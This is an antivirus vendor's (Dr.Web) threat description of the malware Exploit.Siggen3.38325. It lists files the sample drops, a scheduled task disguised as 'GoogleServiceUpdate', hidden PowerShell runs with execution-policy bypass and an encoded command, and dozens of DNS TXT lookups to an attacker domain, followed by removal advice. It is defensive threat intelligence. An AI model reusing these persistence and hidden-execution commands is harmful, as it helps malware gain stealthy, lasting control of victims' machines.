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Exploit.Siggen3.38325

Aggiunto al database dei virus Dr.Web: 2022-11-24

La descrizione è stata aggiunta:

Technical Information

To ensure autorun and distribution
Creates or modifies the following files
  • <SYSTEM32>\tasks\googleserviceupdate
Malicious functions
Executes the following (exploit)
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -exec bypass -Enc JABwAGEAdABoAD0AIAAiACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAXABhAHAAcABkAGEAdABhAFwAbABvAGMAYQBsAFwAbQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACIADQAKAA0ACgBpAGYAKAAtAG4...
Modifies file system
Creates the following files
  • %TEMP%\u1848931.tmp
  • <Current directory>\a2d11000
  • %LOCALAPPDATA%\microsoft\windows\l69742.vbs
  • %LOCALAPPDATA%\microsoft\windows\mc.ps1
Substitutes the following files
  • <PATH_SAMPLE>.xls
Network activity
UDP
  • DNS ASK rn#######_770165328.yjksdrl.tk
  • DNS ASK rn#######_217492910.yjksdrl.tk
  • DNS ASK rn#######_685766425.yjksdrl.tk
  • DNS ASK rn#######_1743878884.yjksdrl.tk
  • DNS ASK rn#######_1101709518.yjksdrl.tk
  • DNS ASK rn#######_1281383812.yjksdrl.tk
  • DNS ASK rn#######_822331294.yjksdrl.tk
  • DNS ASK rn#######_1879689400.yjksdrl.tk
  • DNS ASK rn#######_496269074.yjksdrl.tk
  • DNS ASK rn#######_299672840.yjksdrl.tk
  • DNS ASK rn#######_403112878.yjksdrl.tk
  • DNS ASK rn#######_1457443451.yjksdrl.tk
  • DNS ASK rn#######_1079781535.yjksdrl.tk
  • DNS ASK rn#######_1456281949.yjksdrl.tk
  • DNS ASK rn#######_1537676273.yjksdrl.tk
  • DNS ASK rn#######_1929719954.yjksdrl.tk
  • DNS ASK rn#######_1882019252.yjksdrl.tk
  • DNS ASK rn#######_1583574264.yjksdrl.tk
  • DNS ASK rn#######_622458033.yjksdrl.tk
  • DNS ASK rn#######_268226786.yjksdrl.tk
  • DNS ASK rn#######_1737108452.yjksdrl.tk
  • DNS ASK rn#######_1343454529.yjksdrl.tk
  • DNS ASK rn#######_908806277.yjksdrl.tk
  • DNS ASK rn#######_221918990.yjksdrl.tk
  • DNS ASK rn#######_1380509369.yjksdrl.tk
  • DNS ASK rn#######_800747656.yjksdrl.tk
  • DNS ASK rn#######_2009721166.yjksdrl.tk
  • DNS ASK rn#######_1560260780.yjksdrl.tk
  • DNS ASK rn#######_1213078211.yjksdrl.tk
  • DNS ASK rn#######_1230602153.yjksdrl.tk
  • DNS ASK rn#######_64517479.yjksdrl.tk
  • DNS ASK rn#######_1706199858.yjksdrl.tk
  • DNS ASK rn#######_1481799748.yjksdrl.tk
  • DNS ASK rn#######_471135854.yjksdrl.tk
  • DNS ASK rn#######_1616555493.yjksdrl.tk
  • DNS ASK rn#######_976976374.yjksdrl.tk
  • DNS ASK rn#######_1775286265.yjksdrl.tk
  • DNS ASK rn#######_1625514888.yjksdrl.tk
  • DNS ASK rn#######_1930155489.yjksdrl.tk
  • DNS ASK rn#######_1385265958.yjksdrl.tk
  • DNS ASK rn#######_782633473.yjksdrl.tk
  • DNS ASK rn#######_2011159675.yjksdrl.tk
  • DNS ASK rn#######_1016018278.yjksdrl.tk
  • DNS ASK rn#######_1333311435.yjksdrl.tk
  • DNS ASK rn#######_877306961.yjksdrl.tk
  • DNS ASK rn#######_564451308.yjksdrl.tk
  • DNS ASK rn#######_1533942296.yjksdrl.tk
  • DNS ASK rn#######_217140874.yjksdrl.tk
  • DNS ASK rn#######_1674653720.yjksdrl.tk
  • DNS ASK rn#######_773702381.yjksdrl.tk
  • DNS ASK rn#######_1818166261.yjksdrl.tk
  • DNS ASK rn#######_602766036.yjksdrl.tk
  • DNS ASK rn#######_125714474.yjksdrl.tk
  • DNS ASK rn#######_1179834360.yjksdrl.tk
Miscellaneous
Creates and executes the following
  • '<SYSTEM32>\wscript.exe' "%LOCALAPPDATA%\microsoft\Windows\L69742.vbs"
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -sta -NonI -exec bypass -file %LOCALAPPDATA%\microsoft\Windows\mc.ps1
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -exec bypass -Enc JABwAGEAdABoAD0AIAAiACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAXABhAHAAcABkAGEAdABhAFwAbABvAGMAYQBsAFwAbQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACIADQAKAA0ACgBpAGYAKAAtAG4...' (with hidden window)
  • '<SYSTEM32>\wscript.exe' "%LOCALAPPDATA%\microsoft\Windows\L69742.vbs"' (with hidden window)
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -sta -NonI -exec bypass -file %LOCALAPPDATA%\microsoft\Windows\mc.ps1' (with hidden window)
Executes the following
  • '<SYSTEM32>\cmd.exe' /c "schtasks /create /F /sc minute /mo 2 /tn "GoogleServiceUpdate" /tr "\"%LOCALAPPDATA%\microsoft\Windows\L69742.vbs"\" "
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1281383812.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_822331294.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1879689400.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_496269074.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_299672840.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_403112878.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1079781535.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1385265958.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1456281949.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1537676273.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1929719954.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1882019252.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1583574264.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1743878884.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1101709518.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_622458033.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_268226786.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_249216864.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_681052092.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1843962339.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_651740346.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1559919539.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_217140874.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_439375830.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_553024454.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1310960802.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1179834360.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1930155489.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_908806277.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1343454529.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1737108452.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_685766425.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_217492910.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1380509369.yjksdrl.tk
  • '<SYSTEM32>\taskeng.exe' {FF469705-BECF-422F-90A4-7B3CA8E497FC} S-1-5-21-1960123792-2022915161-3775307078-1001:nitmwzw\user:Interactive:[1]
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_770165328.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_602766036.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1213078211.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1230602153.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_64517479.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1706199858.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1481799748.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_471135854.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1616555493.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_976976374.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1775286265.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1625514888.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_782633473.yjksdrl.tk
  • '<SYSTEM32>\schtasks.exe' /create /F /sc minute /mo 2 /tn "GoogleServiceUpdate" /tr "\"%LOCALAPPDATA%\microsoft\Windows\L69742.vbs"\"
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1457443451.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_221918990.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_125714474.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_2011159675.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1016018278.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1333311435.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_877306961.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_564451308.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1075595963.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1533942296.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_236046124.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_773702381.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1818166261.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1560260780.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_2009721166.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_800747656.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1674653720.yjksdrl.tk
  • '<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_759483464.yjksdrl.tk

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
  2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
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After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

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  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

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